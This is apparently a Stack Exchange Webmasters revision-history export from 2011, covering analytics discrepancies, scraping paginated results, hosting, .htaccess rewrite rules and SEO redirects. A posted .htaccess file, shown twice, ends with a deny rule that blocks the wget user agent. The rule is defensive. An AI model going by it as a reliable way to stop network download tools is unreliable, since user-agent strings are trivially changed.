  <row Id="28382" PostHistoryTypeId="2" PostId="12418" RevisionGUID="166fc51c-4c10-476d-aec1-c8bbc57782f9" CreationDate="2011-04-18T18:36:38.097" UserId="3572" Text="I use google analytics to monitor visitors access, and I am very happy with it, easy to use blabla, you name it :) &#xD;&#xA;&#xD;&#xA;Few days ago I copied IIS logs from website and used free/evaluation commercial log parsers on the market to find out what RAW IIS logs tells me about the visitors. &#xD;&#xA;I was shocked that IIS tells me that I have 3x more visits/hits daily than in google analytics. Spiders are not included in IIS logs (filtered them via parse app). &#xD;&#xA;&#xD;&#xA;What I assume is one amount of the hits have JS disabled and there can be a small difference around 20% (I have that stats from another site). &#xD;&#xA;&#xD;&#xA;What I don't understand is 3x difference between raw logs and GA. &#xD;&#xA;On the site we run product oriented site for the application that is used on windows servers, and windows servers by default have JS disabled, so I assume some of the users might be in that difference as well, just I don't understand 3x difference between numbers. &#xD;&#xA;&#xD;&#xA;Any good explanation? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="28383" PostHistoryTypeId="1" PostId="12418" RevisionGUID="166fc51c-4c10-476d-aec1-c8bbc57782f9" CreationDate="2011-04-18T18:36:38.097" UserId="3572" Text="Huge difference in visits/hits between IIS logs and google analytics" />
  <row Id="28384" PostHistoryTypeId="3" PostId="12418" RevisionGUID="166fc51c-4c10-476d-aec1-c8bbc57782f9" CreationDate="2011-04-18T18:36:38.097" UserId="3572" Text="&lt;google-analytics&gt;&lt;websites&gt;&lt;windows&gt;&lt;iis7&gt;&lt;iis&gt;" />
  <row Id="28385" PostHistoryTypeId="2" PostId="12419" RevisionGUID="86e3feee-ce66-4a3c-9e7d-7084c2244e2e" CreationDate="2011-04-18T18:38:08.843" UserId="480" Text="If its just client side your after then [Super User][1] may be the site you need. To save the re-post [AutoPager][2] for [Firefox][3] and [Chrome][4] are good or you can use [Fiddler][5] to have proxy support for different browsers. However this will require some JavaScript programming.&#xD;&#xA;&#xD;&#xA;Assuming (as this is Webmasters) that you are probably after the setting in the system giving you the pagination. This is generally under *Listings* or *Results* and should be turned off. Sometimes this is by setting the number of *results per page* to 0, -1 or UNLIMITED (please check the documentation before changing settings randomly, as the developer(s) would have probably left a note or admin control). More complex systems may have multitude of options for granular control.&#xD;&#xA;&#xD;&#xA;Although if you are writing a screen scraper be careful of [DCMA Takedowns][6]. Not only do normal Copyright restrictions exist if you republish content but depagination can be counted as &#xD;&#xA;&#xD;&#xA;&gt; circumventing an access control&#xD;&#xA;&#xD;&#xA;Sometimes the number of results can be increased or removed (watch out for defaults here) from a querystring if the search form puts it there. Other forms use POST and will require some debugging (Fiddler is brilliant for this, as is HTTP Headers for Firefox). Remember that the occasional page (normally ASP.Net) will generate session cookies that you have to send back for requests to be valid. CGI based systems can be difficult, for instance the [London Borough of Croydon's Planning Permission site][7] uses RIPSESSION fields that must be interpreted to work. [Beautiful Soup][8] is a useful tool if you like Python, otherwise [Yahoo!'s YQL][9] is a close second but it is client side and there is a [jQuery plugin][10].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/&#xD;&#xA;  [2]: http://www.teesoft.info/&#xD;&#xA;  [3]: http://superuser.com/&#xD;&#xA;  [4]: https://chrome.google.com/extensions/detail/mmgagnmbebdebebbcleklifnobamjonh?hl=en&#xD;&#xA;  [5]: http://www.fiddler2.com/fiddler2/&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act&#xD;&#xA;  [7]: http://planning.croydon.gov.uk/DCWebPages/AcolNetCGI.gov&#xD;&#xA;  [8]: http://www.crummy.com/software/BeautifulSoup/&#xD;&#xA;  [9]: http://developer.yahoo.com/yql/console/&#xD;&#xA;  [10]: http://plugins.jquery.com/project/jquery-yql" />
  <row Id="28386" PostHistoryTypeId="2" PostId="12420" RevisionGUID="f23c17f8-9fcc-419a-816f-7698242c4b9a" CreationDate="2011-04-18T18:47:34.043" UserId="480" Text="You can use CSS to remove it.&#xD;&#xA;&#xD;&#xA;[Before][1] and [After][2].&#xD;&#xA;&#xD;&#xA;Just inserted&#xD;&#xA;&#xD;&#xA;    body, html {&#xD;&#xA;        border: 0;&#xD;&#xA;        height: 100%;&#xD;&#xA;        margin: 0;&#xD;&#xA;        padding: 0;&#xD;&#xA;        width: 100%;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;into the CSS. You have to set the height (and occasionally on mobile devices the width too) to 100% in order for the div to follow suit. Then changing the border, margin and padding to 0 (no px, etc) has stood me well for years. Although the floor is open to alternatives.&#xD;&#xA;&#xD;&#xA;  [1]: http://jsfiddle.net/chUgA/&#xD;&#xA;  [2]: http://jsfiddle.net/chUgA/2/" />
  <row Id="28387" PostHistoryTypeId="2" PostId="12421" RevisionGUID="71fe415b-7fe7-4dd7-b09e-74adecfb002f" CreationDate="2011-04-18T19:56:46.720" UserId="6901" Text="I have a small &quot;hobby&quot; site that generates almost no income for me (but still is fun to run, and that's why I keep it around). The site get's about 75 hits a day, though I could easily see that increasing to 200 or more in the future. I want to move it to a free hosting provider. The hosting provider should support the latest versions of php and mysql, should be able to run wordpress installations, and should have pdo and sendmail enabled. Does anyone have any recommendations?&#xD;&#xA;&#xD;&#xA;Thanks :)" />
  <row Id="28388" PostHistoryTypeId="1" PostId="12421" RevisionGUID="71fe415b-7fe7-4dd7-b09e-74adecfb002f" CreationDate="2011-04-18T19:56:46.720" UserId="6901" Text="What is the best free hosting provider for my site?" />
  <row Id="28389" PostHistoryTypeId="3" PostId="12421" RevisionGUID="71fe415b-7fe7-4dd7-b09e-74adecfb002f" CreationDate="2011-04-18T19:56:46.720" UserId="6901" Text="&lt;hosting&gt;" />
  <row Id="28390" PostHistoryTypeId="2" PostId="12422" RevisionGUID="e4898234-d633-48f2-922a-4f1fbb125cf0" CreationDate="2011-04-18T20:11:38.867" UserId="6901" Text="This article might explain it: http://www.webmasterworld.com/analytics/3699288-2-30.htm" />
  <row Id="28391" PostHistoryTypeId="2" PostId="12423" RevisionGUID="254cc23a-cd0d-4503-9c76-5f978d6a3792" CreationDate="2011-04-18T20:17:12.053" UserDisplayName="user23313" Text="I just moved from a dedicated server to a shared server to save money, but now my htaccess file doesn't work. I think its 1and1, but I'm not 100% sure. What the heck is wrong? Any ideas:&#xD;&#xA;&#xD;&#xA;1) BTW the single pages work ie: RewriteRule ^internships/?$ internships.php [L], but pages underneath them don't...RewriteRule ^internships/([A-Za-z0-9_-]+)/?$ internships.php?p=$1 [L]&#xD;&#xA;&#xD;&#xA;So if you go to mysite.com/internships it will bring you to the correct page, but if you go to internships/photography it won't...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;AddType x-mapp-php5 .php&#xD;&#xA;&#xD;&#xA;RewriteEngine on&#xD;&#xA;RewriteBase /&#xD;&#xA;&#xD;&#xA;RewriteCond %{HTTP_HOST} ^www.mySite\.com$&#xD;&#xA;RewriteRule ^(.*)$ http://mySite.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;#temporary#######&#xD;&#xA;RewriteRule ^casting-calls/?$ soon.php [L]&#xD;&#xA;RewriteRule ^upgrade/?$ soon.php [L]&#xD;&#xA;#################&#xD;&#xA;&#xD;&#xA;RewriteRule ^internships/([A-Za-z0-9_-]+)/?$ internships.php?p=$1 [L]&#xD;&#xA;RewriteRule ^internships/?$ internships.php [L]&#xD;&#xA;&#xD;&#xA;RewriteRule ^profile/mail/to-([A-Za-z0-9_-]+)/?$ mail.php?to=$1&#xD;&#xA;RewriteRule ^profile/mail/(read|unread|sent)/?$ mail.php?view=$1 [L]&#xD;&#xA;RewriteRule ^profile/mail/?$ mail.php [L]&#xD;&#xA;&#xD;&#xA;RewriteRule ^privacy/?$ privacy.php [L]&#xD;&#xA;RewriteRule ^terms/?$ terms.php [L]&#xD;&#xA;RewriteRule ^contact/?$ contact.php [L]&#xD;&#xA;RewriteRule ^advertising/?$ advertising.php [L]&#xD;&#xA;RewriteRule ^membership/?$ membership.php [L]&#xD;&#xA;RewriteRule ^forgot/?$ forgot.php [L]&#xD;&#xA;&#xD;&#xA;RewriteRule ^admin/([a-z_]+)/?$ admin.php?m=$1 [QSA,L]&#xD;&#xA;RewriteRule ^admin/?$ admin.php [L]&#xD;&#xA;&#xD;&#xA;RewriteRule ^user/([A-Za-z0-9_-]+)/photos/([0-9]+)/?$ portfolio.php?username=$1&amp;photo=$2 [L]&#xD;&#xA;RewriteRule ^user/([A-Za-z0-9_-]+)/photos/?$ portfolio.php?username=$1 [L]&#xD;&#xA;RewriteRule ^user/([A-Za-z0-9_-]+)/?$ user.php?username=$1 [L]&#xD;&#xA;RewriteRule ^user/([A-Za-z0-9_-]+)/common-friends/([0-9]+)/?$ friends.php?username=$1&amp;page=$2&amp;common=1 [L]&#xD;&#xA;RewriteRule ^user/([A-Za-z0-9_-]+)/common-friends/?$ friends.php?username=$1&amp;common=1 [L]&#xD;&#xA;RewriteRule ^user/([A-Za-z0-9_-]+)/friends/([0-9]+)/?$ friends.php?username=$1&amp;page=$2 [L]&#xD;&#xA;RewriteRule ^user/([A-Za-z0-9_-]+)/friends/?$ friends.php?username=$1 [L]&#xD;&#xA;&#xD;&#xA;RewriteRule ^issues-([0-9]+)/?$ issues.php?issue=$1 [L]&#xD;&#xA;RewriteRule ^issues/?$ issues.php [L]&#xD;&#xA;&#xD;&#xA;RewriteRule ^join/(model|industry|agency|subscriber)/process-([0-9]+)/?$ join.php?type=$1 [L]&#xD;&#xA;RewriteRule ^join/(model|industry|agency|subscriber)/?$ join.php?type=$1 [L]&#xD;&#xA;RewriteRule ^join/?$ join.php [L]&#xD;&#xA;&#xD;&#xA;RewriteRule ^profile/friends/(banned|requests)/([0-9]+)/?$ friends.php?mode=$1&amp;page=$2&#xD;&#xA;RewriteRule ^profile/friends/(banned|requests)/?$ friends.php?mode=$1&#xD;&#xA;RewriteRule ^profile/friends/([0-9]+)/?$ friends.php?page=$1 [L]&#xD;&#xA;RewriteRule ^profile/friends/?$ friends.php [L]&#xD;&#xA;RewriteRule ^profile/photos/edit-profilepic/?$ portfolio.php?edit=profilepic [L]&#xD;&#xA;RewriteRule ^profile/photos/?$ portfolio.php [L]&#xD;&#xA;RewriteRule ^profile/experience/?$ profile-edit.php?m=experience [L]&#xD;&#xA;RewriteRule ^profile/personal/?$ profile-edit.php?m=personal [L]&#xD;&#xA;RewriteRule ^profile/resume/?$ profile-edit.php?m=resume [L]&#xD;&#xA;RewriteRule ^profile/settings/?$ profile-edit.php [L]&#xD;&#xA;RewriteRule ^profile/?$ profile.php [L]&#xD;&#xA;&#xD;&#xA;RewriteRule ^profile/(.*) http://modelingintl.com/user/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/(new|hot|results)/([0-9]+)/?$ voting.php?contest=$2&amp;photo=$4&amp;sort=$3 [L]&#xD;&#xA;RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/(new|hot|results)/?$ voting.php?contest=$2&amp;photo=1&amp;sort=$3 [L]&#xD;&#xA;RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/([0-9]+)/?$ voting.php?contest=$2&amp;photo=$3 [L]&#xD;&#xA;RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/?$ voting.php?contest=$2&amp;photo=1 [L]&#xD;&#xA;RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/add/?$ voting.php?contest=$2&amp;add=1&#xD;&#xA;RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/(new|hot|results)/([0-9]+)/?$ voting.php?contest=$2&amp;page=$4&amp;sort=$3 [L]&#xD;&#xA;RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/(new|hot|results)/?$ voting.php?contest=$2&amp;sort=$3 [L]&#xD;&#xA;RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/([0-9]+)/?$ voting.php?contest=$2&amp;page=$3 [L]&#xD;&#xA;RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/?$ voting.php?contest=$2 [L]&#xD;&#xA;RewriteRule ^voting/vol([0-9]+)-iss([0-9]+)/([A-Za-z0-9_-]+)/?$ voting.php?vol=$1&amp;iss=$2&amp;network=$3 [L]&#xD;&#xA;RewriteRule ^voting/vol([0-9]+)-iss([0-9]+)/?$ voting.php?vol=$1&amp;iss=$2 [L]&#xD;&#xA;RewriteRule ^voting/?$ voting.php [L]&#xD;&#xA;&#xD;&#xA;RewriteRule ^search/([0-9]+)/?$ search.php?page=$1&amp;view=1 [L]&#xD;&#xA;RewriteRule ^search/([0-9]+)/(details|photos)/?$ search.php?page=$1&amp;view=$2 [L]&#xD;&#xA;RewriteRule ^search/(details|photos)/([0-9]+)/?$ search.php?page=$2view=$1 [L]&#xD;&#xA;RewriteRule ^search/(details|photos)/?$ search.php?view=$1 [L]&#xD;&#xA;RewriteRule ^search/?$ search.php?view=1 [L]&#xD;&#xA;&#xD;&#xA;RewriteRule ^articles/([A-Za-z0-9_-]+)-([0-9]+)/?$ article.php?article=$2 [L]&#xD;&#xA;RewriteRule ^articles/?$ contribute.php [L]&#xD;&#xA;RewriteRule ^contribute/submit/?$ contribute.php?submit=1 [L]&#xD;&#xA;RewriteRule ^contribute/([A-Za-z0-9\s_-]+)/([0-9]+)/?$ contribute.php?sfor=$1&amp;page=$2 [L]&#xD;&#xA;RewriteRule ^contribute/([0-9]+)/?$ contribute.php?page=$1 [L]&#xD;&#xA;RewriteRule ^contribute/?$ contribute.php [L]&#xD;&#xA;&#xD;&#xA;RewriteRule ^qna/([A-Za-z0-9_-]+)-([0-9]+)/?$ question.php?qna=$2 [L]&#xD;&#xA;RewriteRule ^qna/([A-Za-z0-9\s_-]+)/([0-9]+)/?$ qna.php?sfor=$1&amp;page=$2 [L]&#xD;&#xA;RewriteRule ^qna/submit/?$ qna.php?submit=1 [L]&#xD;&#xA;RewriteRule ^qna/([0-9]+)/?$ qna.php?page=$1 [L]&#xD;&#xA;RewriteRule ^qna/?$ qna.php [L]&#xD;&#xA;&#xD;&#xA;RewriteRule ^api/([A-Za-z0-9_-]+)$ api.php?m=$1 [QSA,L]&#xD;&#xA;RewriteCond %{HTTP_USER_AGENT} wget [NC]&#xD;&#xA;RewriteRule .* - [F] " />
  <row Id="28392" PostHistoryTypeId="1" PostId="12423" RevisionGUID="254cc23a-cd0d-4503-9c76-5f978d6a3792" CreationDate="2011-04-18T20:17:12.053" UserDisplayName="user23313" Text="htaccess file isn't working, but did work before..." />
  <row Id="28393" PostHistoryTypeId="3" PostId="12423" RevisionGUID="254cc23a-cd0d-4503-9c76-5f978d6a3792" CreationDate="2011-04-18T20:17:12.053" UserDisplayName="user23313" Text="&lt;php&gt;&lt;htaccess&gt;" />
  <row Id="28394" PostHistoryTypeId="17" PostId="12423" RevisionGUID="14f334ae-77b5-4b3f-a3ac-d225c9d32aeb" CreationDate="2011-04-18T20:26:53.090" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/69332/htaccess-file-isnt-working-but-did-work-before" Text="" />
  <row Id="28395" PostHistoryTypeId="5" PostId="12423" RevisionGUID="665f9218-42a8-4e5c-9ea8-1d6e75ea00b0" CreationDate="2011-04-18T20:35:09.120" UserId="5322" Comment="Added Code Tags" Text="I just moved from a dedicated server to a shared server to save money, but now my htaccess file doesn't work. I think its 1and1, but I'm not 100% sure. What the heck is wrong? Any ideas:&#xD;&#xA;&#xD;&#xA;1) BTW the single pages work ie: RewriteRule ^internships/?$ internships.php [L], but pages underneath them don't...RewriteRule ^internships/([A-Za-z0-9_-]+)/?$ internships.php?p=$1 [L]&#xD;&#xA;&#xD;&#xA;So if you go to mysite.com/internships it will bring you to the correct page, but if you go to internships/photography it won't...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    AddType x-mapp-php5 .php&#xD;&#xA;    &#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.mySite\.com$&#xD;&#xA;    RewriteRule ^(.*)$ http://mySite.com/$1 [R=301,L]&#xD;&#xA;    &#xD;&#xA;    #temporary#######&#xD;&#xA;    RewriteRule ^casting-calls/?$ soon.php [L]&#xD;&#xA;    RewriteRule ^upgrade/?$ soon.php [L]&#xD;&#xA;    #################&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^internships/([A-Za-z0-9_-]+)/?$ internships.php?p=$1 [L]&#xD;&#xA;    RewriteRule ^internships/?$ internships.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^profile/mail/to-([A-Za-z0-9_-]+)/?$ mail.php?to=$1&#xD;&#xA;    RewriteRule ^profile/mail/(read|unread|sent)/?$ mail.php?view=$1 [L]&#xD;&#xA;    RewriteRule ^profile/mail/?$ mail.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^privacy/?$ privacy.php [L]&#xD;&#xA;    RewriteRule ^terms/?$ terms.php [L]&#xD;&#xA;    RewriteRule ^contact/?$ contact.php [L]&#xD;&#xA;    RewriteRule ^advertising/?$ advertising.php [L]&#xD;&#xA;    RewriteRule ^membership/?$ membership.php [L]&#xD;&#xA;    RewriteRule ^forgot/?$ forgot.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^admin/([a-z_]+)/?$ admin.php?m=$1 [QSA,L]&#xD;&#xA;    RewriteRule ^admin/?$ admin.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^user/([A-Za-z0-9_-]+)/photos/([0-9]+)/?$ portfolio.php?username=$1&amp;photo=$2 [L]&#xD;&#xA;    RewriteRule ^user/([A-Za-z0-9_-]+)/photos/?$ portfolio.php?username=$1 [L]&#xD;&#xA;    RewriteRule ^user/([A-Za-z0-9_-]+)/?$ user.php?username=$1 [L]&#xD;&#xA;    RewriteRule ^user/([A-Za-z0-9_-]+)/common-friends/([0-9]+)/?$ friends.php?username=$1&amp;page=$2&amp;common=1 [L]&#xD;&#xA;    RewriteRule ^user/([A-Za-z0-9_-]+)/common-friends/?$ friends.php?username=$1&amp;common=1 [L]&#xD;&#xA;    RewriteRule ^user/([A-Za-z0-9_-]+)/friends/([0-9]+)/?$ friends.php?username=$1&amp;page=$2 [L]&#xD;&#xA;    RewriteRule ^user/([A-Za-z0-9_-]+)/friends/?$ friends.php?username=$1 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^issues-([0-9]+)/?$ issues.php?issue=$1 [L]&#xD;&#xA;    RewriteRule ^issues/?$ issues.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^join/(model|industry|agency|subscriber)/process-([0-9]+)/?$ join.php?type=$1 [L]&#xD;&#xA;    RewriteRule ^join/(model|industry|agency|subscriber)/?$ join.php?type=$1 [L]&#xD;&#xA;    RewriteRule ^join/?$ join.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^profile/friends/(banned|requests)/([0-9]+)/?$ friends.php?mode=$1&amp;page=$2&#xD;&#xA;    RewriteRule ^profile/friends/(banned|requests)/?$ friends.php?mode=$1&#xD;&#xA;    RewriteRule ^profile/friends/([0-9]+)/?$ friends.php?page=$1 [L]&#xD;&#xA;    RewriteRule ^profile/friends/?$ friends.php [L]&#xD;&#xA;    RewriteRule ^profile/photos/edit-profilepic/?$ portfolio.php?edit=profilepic [L]&#xD;&#xA;    RewriteRule ^profile/photos/?$ portfolio.php [L]&#xD;&#xA;    RewriteRule ^profile/experience/?$ profile-edit.php?m=experience [L]&#xD;&#xA;    RewriteRule ^profile/personal/?$ profile-edit.php?m=personal [L]&#xD;&#xA;    RewriteRule ^profile/resume/?$ profile-edit.php?m=resume [L]&#xD;&#xA;    RewriteRule ^profile/settings/?$ profile-edit.php [L]&#xD;&#xA;    RewriteRule ^profile/?$ profile.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^profile/(.*) http://modelingintl.com/user/$1 [R=301,L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/(new|hot|results)/([0-9]+)/?$ voting.php?contest=$2&amp;photo=$4&amp;sort=$3 [L]&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/(new|hot|results)/?$ voting.php?contest=$2&amp;photo=1&amp;sort=$3 [L]&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/([0-9]+)/?$ voting.php?contest=$2&amp;photo=$3 [L]&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/?$ voting.php?contest=$2&amp;photo=1 [L]&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/add/?$ voting.php?contest=$2&amp;add=1&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/(new|hot|results)/([0-9]+)/?$ voting.php?contest=$2&amp;page=$4&amp;sort=$3 [L]&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/(new|hot|results)/?$ voting.php?contest=$2&amp;sort=$3 [L]&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/([0-9]+)/?$ voting.php?contest=$2&amp;page=$3 [L]&#xD;&#xA;    RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/?$ voting.php?contest=$2 [L]&#xD;&#xA;    RewriteRule ^voting/vol([0-9]+)-iss([0-9]+)/([A-Za-z0-9_-]+)/?$ voting.php?vol=$1&amp;iss=$2&amp;network=$3 [L]&#xD;&#xA;    RewriteRule ^voting/vol([0-9]+)-iss([0-9]+)/?$ voting.php?vol=$1&amp;iss=$2 [L]&#xD;&#xA;    RewriteRule ^voting/?$ voting.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^search/([0-9]+)/?$ search.php?page=$1&amp;view=1 [L]&#xD;&#xA;    RewriteRule ^search/([0-9]+)/(details|photos)/?$ search.php?page=$1&amp;view=$2 [L]&#xD;&#xA;    RewriteRule ^search/(details|photos)/([0-9]+)/?$ search.php?page=$2view=$1 [L]&#xD;&#xA;    RewriteRule ^search/(details|photos)/?$ search.php?view=$1 [L]&#xD;&#xA;    RewriteRule ^search/?$ search.php?view=1 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^articles/([A-Za-z0-9_-]+)-([0-9]+)/?$ article.php?article=$2 [L]&#xD;&#xA;    RewriteRule ^articles/?$ contribute.php [L]&#xD;&#xA;    RewriteRule ^contribute/submit/?$ contribute.php?submit=1 [L]&#xD;&#xA;    RewriteRule ^contribute/([A-Za-z0-9\s_-]+)/([0-9]+)/?$ contribute.php?sfor=$1&amp;page=$2 [L]&#xD;&#xA;    RewriteRule ^contribute/([0-9]+)/?$ contribute.php?page=$1 [L]&#xD;&#xA;    RewriteRule ^contribute/?$ contribute.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^qna/([A-Za-z0-9_-]+)-([0-9]+)/?$ question.php?qna=$2 [L]&#xD;&#xA;    RewriteRule ^qna/([A-Za-z0-9\s_-]+)/([0-9]+)/?$ qna.php?sfor=$1&amp;page=$2 [L]&#xD;&#xA;    RewriteRule ^qna/submit/?$ qna.php?submit=1 [L]&#xD;&#xA;    RewriteRule ^qna/([0-9]+)/?$ qna.php?page=$1 [L]&#xD;&#xA;    RewriteRule ^qna/?$ qna.php [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^api/([A-Za-z0-9_-]+)$ api.php?m=$1 [QSA,L]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT} wget [NC]&#xD;&#xA;    RewriteRule .* - [F] " />
  <row Id="28396" PostHistoryTypeId="24" PostId="12423" RevisionGUID="665f9218-42a8-4e5c-9ea8-1d6e75ea00b0" CreationDate="2011-04-18T20:35:09.120" Comment="Proposed by 5322 approved by 1253 edit id of 140" />
  <row Id="28397" PostHistoryTypeId="2" PostId="12424" RevisionGUID="b09c6ac0-1c7e-4f72-b527-5d6131c80254" CreationDate="2011-04-18T20:43:06.457" UserId="480" Text="Amazon AWS have a free tier (http://aws.amazon.com/free/).&#xD;&#xA;&#xD;&#xA;Otherwise Wordpress themselves can do hosting on a custom domain." />
  <row Id="28398" PostHistoryTypeId="25" PostId="12417" RevisionGUID="0a09b591-8268-4bcc-ace7-99822a23ff92" CreationDate="2011-04-18T21:09:17.687" Comment="http://twitter.com/#!/StackWebmasters/status/60087528090378240" />
  <row Id="28399" PostHistoryTypeId="17" PostId="12426" RevisionGUID="48b15b13-7001-47d0-a842-87c396c75e3c" CreationDate="2011-04-18T21:09:44.713" UserId="-1" Comment="from http://stackoverflow.com/questions/5708418/seo-on-my-website/5708900#5708900" Text="" />
  <row Id="28400" PostHistoryTypeId="2" PostId="12426" RevisionGUID="e149d42d-6711-42c6-9587-1f8147579b07" CreationDate="2011-04-18T21:07:11.457" UserId="2613" Text="If URL 1 and URL 2 are different, then Google is not simply going to start showing the new URL. You have to let Google know of the change in order for them to update their listings. To do this, you will need to use 301 redirects from the old pages to the new so Google can update their URLs.&#xD;&#xA;&#xD;&#xA;Assuming you are in a LAMP hosting environment, you need to add one of these for each page in the site to the HTACCESS file in the domain root directory.&#xD;&#xA;&#xD;&#xA;    redirect 301 /old.htm http://www.URL2.com/new.htm&#xD;&#xA;&#xD;&#xA;If your server is a Windows/IIS server, then you will need your host to help you with the redirects.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28401" PostHistoryTypeId="2" PostId="12425" RevisionGUID="f28b483a-607c-47d1-8346-112d1f65e3cf" CreationDate="2011-04-18T20:19:52.367" UserDisplayName="Jon Kyte" Text="I have a website that I made for a friend who runs his own business.&#xD;&#xA;&#xD;&#xA;I designed and built the website for him and then hosted it on MY hosting package and URL - Lets call this URL 1.&#xD;&#xA;&#xD;&#xA;He was happy with everything so he then bought hosting and I gave him all the files and he put them on his hosting package and URL - lets call this URL 2.&#xD;&#xA;&#xD;&#xA;Now, I added a few keywords and meta data to the head tags of his pages and when it was on URL 1, I got quite a few friends to test the site (giving the site hits).&#xD;&#xA;&#xD;&#xA;Now I have transferred the site to URL 2, when ever any one googles it, it will display URL 1 - even though URL 1 does not have any of the content for the site on it anymore.&#xD;&#xA;&#xD;&#xA;What do I do to get google to display URL 2, not URL 1?!&#xD;&#xA;&#xD;&#xA;Any help would be appreciated, the meta data I added is as follows:&#xD;&#xA;&#xD;&#xA;     &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;&#xD;&#xA;     &lt;meta http-equiv=&quot;language&quot; content=&quot;English&quot;&gt;&#xD;&#xA;     &lt;meta name=&quot;author&quot; content=&quot;Jon Kyte&quot;&gt;&#xD;&#xA;     &lt;meta name=&quot;description&quot; content=&quot;Tom Frost is a personal trainer, competitive natural body builder and nutritionist operating out of Leeds city centre&quot;&gt;&#xD;&#xA;     &lt;meta name=&quot;keywords&quot; content=&quot;Tom Frost, Leeds, personal trainer, personal training, qualified fitness instructor, freelance personal trainer, training, natural body building, nutrition&quot;&gt;&#xD;&#xA;&#xD;&#xA;If anything I have described is unclear, please let me know and I will try my best to explain, but this is really important as he needs his customers to find him on google!&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;&#xD;&#xA;Jon&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28402" PostHistoryTypeId="1" PostId="12425" RevisionGUID="f28b483a-607c-47d1-8346-112d1f65e3cf" CreationDate="2011-04-18T20:19:52.367" UserDisplayName="Jon Kyte" Text="SEO on my website" />
  <row Id="28403" PostHistoryTypeId="3" PostId="12425" RevisionGUID="f28b483a-607c-47d1-8346-112d1f65e3cf" CreationDate="2011-04-18T20:19:52.367" UserDisplayName="Jon Kyte" Text="&lt;html&gt;&lt;redirects&gt;&lt;seo&gt;" />
  <row Id="28404" PostHistoryTypeId="17" PostId="12425" RevisionGUID="670b00f3-9e9d-4de9-a101-40e70747e62f" CreationDate="2011-04-18T21:09:44.713" UserId="-1" Comment="from http://stackoverflow.com/questions/5708418/seo-on-my-website" Text="" />
  <row Id="28405" PostHistoryTypeId="2" PostId="12427" RevisionGUID="e0943a29-4be8-4be7-841c-4fb8f387802e" CreationDate="2011-04-18T21:14:28.447" UserId="5464" Text="Google do something called adsense for domains: [Adsense domains][1]&#xD;&#xA;&#xD;&#xA;You want to search on something like: Ads for parked domains and you should find more info and links to services you can use. &#xD;&#xA;&#xD;&#xA;You may also find your domain provider has something you can use. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/domainpark/" />
  <row Id="28406" PostHistoryTypeId="2" PostId="12428" RevisionGUID="df4cb124-813b-4829-85c4-83576504a7de" CreationDate="2011-04-18T21:24:09.153" UserId="5718" Text="One thing you could try is analyzing your log files to look for users that are using Google Analytics. This should roughly match up with what GA is reporting then you can look at the rest closer to see what it is. &#xD;&#xA;&#xD;&#xA;GA uses first party cookies so it should be possible to configure your server to log them then you can find GA users by selecting requests with the `__utma` cookie present. You could also parse `__utma` to identify unique visitors." />
  <row Id="28407" PostHistoryTypeId="2" PostId="12429" RevisionGUID="eeb4e365-7591-44d0-a675-2a2ec36850fd" CreationDate="2011-04-18T21:45:20.733" UserId="6943" Text="Have you checked the file ownership and read/write permissions? Usually it's either that, or you're not allowing .htaccess overrides in your httpd.conf." />
